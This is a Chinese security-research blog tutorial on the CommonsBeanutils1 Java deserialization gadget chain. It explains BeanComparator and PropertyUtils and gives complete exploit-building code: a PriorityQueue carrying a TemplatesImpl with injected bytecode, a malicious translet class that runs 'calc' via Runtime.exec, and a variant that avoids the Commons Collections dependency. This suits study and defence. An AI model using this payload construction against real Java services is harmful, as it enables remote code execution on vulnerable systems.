JAVA反序列化深入学习(十):CommonsBeanutils1

commons-beanutils 是 Apache 提供的一个用于操作 JAVA bean 的工具包,里面提供了各种各样的工具类,让我们可以很方便的对 bean 对象的属性进行各种操作

其中比较常使用的有

  • MethodUtils
  • ConstructorUtils
  • PropertyUtils
  • BeanUtils
  • ConvertUtils

在CC利用链中,有这样一条链:

PriorityQueue
    TransformingComparator
        ChainedTransformer
            InstantiateTransformer
                TemplatesImpl

由 TransformingComparator 触发 ChainedTransformer ,从而实例化 TemplatesImpl

那能不能找到一个 Comparator,绕过中间复杂过程,直接实例化 TemplatesImpl 呢?

于是有了 CommonsBeanutils 这条链

JAVA环境

java version "1.8.0_74"

Java(TM) SE Runtime Environment (build 1.8.0_74-b02)

Java HotSpot(TM) 64-Bit Server VM (build 25.74-b02, mixed mode)

依赖版本

  • Apache Commons Collections 依赖版本:commons-collections : <= 3.2.2
  • Apache Commons Beanutils 依赖版本:commons-beanutils : <= 1.10.1

检查依赖配置

确认项目中是否正确引入了

  • Apache Commons Collections
  • Apache Commons Beanutils

的依赖。如果使用的是 Maven,可以在 pom.xml 文件中添加以下依赖:

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>
<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.9.1</version>
</dependency>

资源下载

前置知识

PropertyUtils

org.apache.commons.beanutils.PropertyUtils 类使用 Java 反射 API 来调用 Java 对象上的通用属性 gettersetter 操作的实用方法

而这些方法的具体使用逻辑其实是由 org.apache.commons.beanutils.PropertyUtilsBean 来实现的

getProperty

PropertyUtilsBean 类有个共有静态方法 getProperty,接收两个参数

  • bean (类对象)
  • name(属性名)

方法会返回这个类的这个属性的值

public Object getProperty(Object bean, String name)
throws IllegalAccessException, InvocationTargetException,
NoSuchMethodException {

    return (getNestedProperty(bean, name));

}

这就类似于一个 Field 的反射工具类,不过不是直接使用反射取值,而是使用反射调用其 getter 方法取值

那么既然可以触发 getter,那就可以像 fastjson 一样来触发 TemplatesImplgetOutputProperties 方法,触发后续的调用链

接下来就是找哪里调用了 getProperty方法,最后找到了 BeanComparator

BeanComparator - chain

org.apache.commons.beanutils.BeanComparator 是 commons-beanutils 提供的用来比较两个 JavaBean 是否相等的类,其实现了java.util.Comparator 接口

public BeanComparator( String property ) {
    this( property, ComparableComparator.getInstance() );
}

public BeanComparator( String property, Comparator comparator ) {
    setProperty( property );
    if (comparator != null) {
        this.comparator = comparator;
    } else {
        this.comparator = ComparableComparator.getInstance();
    }
}
compare
  1. BeanComparator 的 compare 方法接收两个对象
  2. 分别调用 PropertyUtils.getProperty 方法获取两个对象的 property 属性的值
  3. 然后调用实例化时初始化的 comparator 的 compare 方法进行比较
public int compare( Object o1, Object o2 ) {
    
    if ( property == null ) {
        // compare the actual objects
        return comparator.compare( o1, o2 );
    }
    
    try {
        Object value1 = PropertyUtils.getProperty( o1, property );
        Object value2 = PropertyUtils.getProperty( o2, property );
        return comparator.compare( value1, value2 );
    }
    ...
}

有了这个方法,就构造了完整的调用链

攻击构造

包含CC链

恶意代码主体
public void CommonBeanUtilsWithCC() throws Exception {

    // 初始化 PriorityQueue
    PriorityQueue<Object> queue = new PriorityQueue<>(2);
    queue.add("1");
    queue.add("2");

    PriorityQueueWithTemplatesImpl(queue);

    // 初始化 BeanComparator
    BeanComparator beanComparator = new BeanComparator("outputProperties");

    // 反射将 BeanComparator 写入 PriorityQueue 中
    Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
    field.setAccessible(true);
    field.set(queue, beanComparator);

    writeObjectToFile(queue, fileName);
    readFileObject(fileName);
}
PriorityQueue处理
protected void PriorityQueueWithTemplatesImpl(PriorityQueue<Object> queue)  throws IOException, NoSuchFieldException, IllegalAccessException {
    // 读取恶意类存到 bytes[] 数组中
    byte[] bytes = Files.readAllBytes(Paths.get("D:\\CommonBeanUtils.class"));

    // 初始化 TemplatesImpl 对象
    TemplatesImpl tmpl = new TemplatesImpl();
    Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    bytecodes.set(tmpl, new byte[][]{bytes});
    // _name 不能为空
    Field name = TemplatesImpl.class.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(tmpl, "neolock");

    // 反射将 TemplatesImpl 放在 PriorityQueue 里
    Field field = PriorityQueue.class.getDeclaredField("queue");
    field.setAccessible(true);
    Object[] objects = (Object[]) field.get(queue);
    objects[0] = tmpl;

    return ;
} 
恶意类构造
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;

public class CommonBeanUtils extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
        // No implementation needed
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) {
        // No implementation needed
    }
}

以上代码可成功构造反序列化利用,但是有一个问题是,由于 BeanComparator 的默认 comparator 是 ComparableComparator

ComparableComparator是个 CommonCollections 中的类,导致了这明明是一条 CB 的触发链,却要同时依赖 CC,增加了很多利用的限制

那该如何逃出 CC 的依赖呢?

无CC利用链

在实例化 BeanComparator 时赋予其一个 JDK 自带的并且实现了 Serializable 接口的 comparator 即可逃出 CC 的依赖,比如:

  • java.util.Collections$ReverseComparator
  • java.lang.String$CaseInsensitiveComparator

通过反射实例化 Comparator ,并在 BeanComparator 初始化时进行指定即可,这样就可以无需 CC 的依赖触发 CB 链了

恶意代码主体
public void CommonBeanUtilsWithoutCC() throws Exception {

    // 初始化 PriorityQueue
    PriorityQueue<Object> queue = new PriorityQueue<>(2);
    queue.add("1");
    queue.add("2");

    PriorityQueueWithTemplatesImpl(queue);

    // 初始化 String$CaseInsensitiveComparator
    Class       c           = Class.forName("java.lang.String$CaseInsensitiveComparator");
    // Class       c           = Class.forName("java.util.Collections$ReverseComparator");

    Constructor constructor = c.getDeclaredConstructor();
    constructor.setAccessible(true);
    Comparator comparator = (Comparator<?>) constructor.newInstance();

    // 初始化 BeanComparator
    BeanComparator beanComparator = new BeanComparator("outputProperties", comparator);

    // 反射将 BeanComparator 写入 PriorityQueue 中
    Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
    field.setAccessible(true);
    field.set(queue, beanComparator);

    writeObjectToFile(queue, fileName);
    readFileObject(fileName);
}

PriorityQueue处理以及恶意类构造跟之前一致

总结

利用说明

  1. PriorityQueue 反序列化时调用 BeanComparator 的 compare
  2. 这个方法反射调用 TemplatesImpl 的 getOutputProperties 方法触发恶意类的实例化

在CC链中,我们对于TemplatesImpl更多地是调用他的newTransformer方法

不知道读者是否还记得在CC2的文章 (点击回顾) 中初次提到TemplatesImpl时有说过:

不调用newTransformer方法而是调用getOutputProperties方法完全可行,不用拘泥于newTransformer

在CB链中,我们就用到了getOutputProperties方法

Gadget 总结

  • kick-off gadget:java.util.PriorityQueue#readObject
  • sink gadget:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties
  • chain gadget:org.apache.commons.beanutils.BeanComparator#compare

调用链展示

PriorityQueue.readObject()
    BeanComparator.compare()
            PropertyUtils.getProperty()
                PropertyUtilsBean.getProperty()
                    TemplatesImpl.getOutputProperties()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Neolock

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值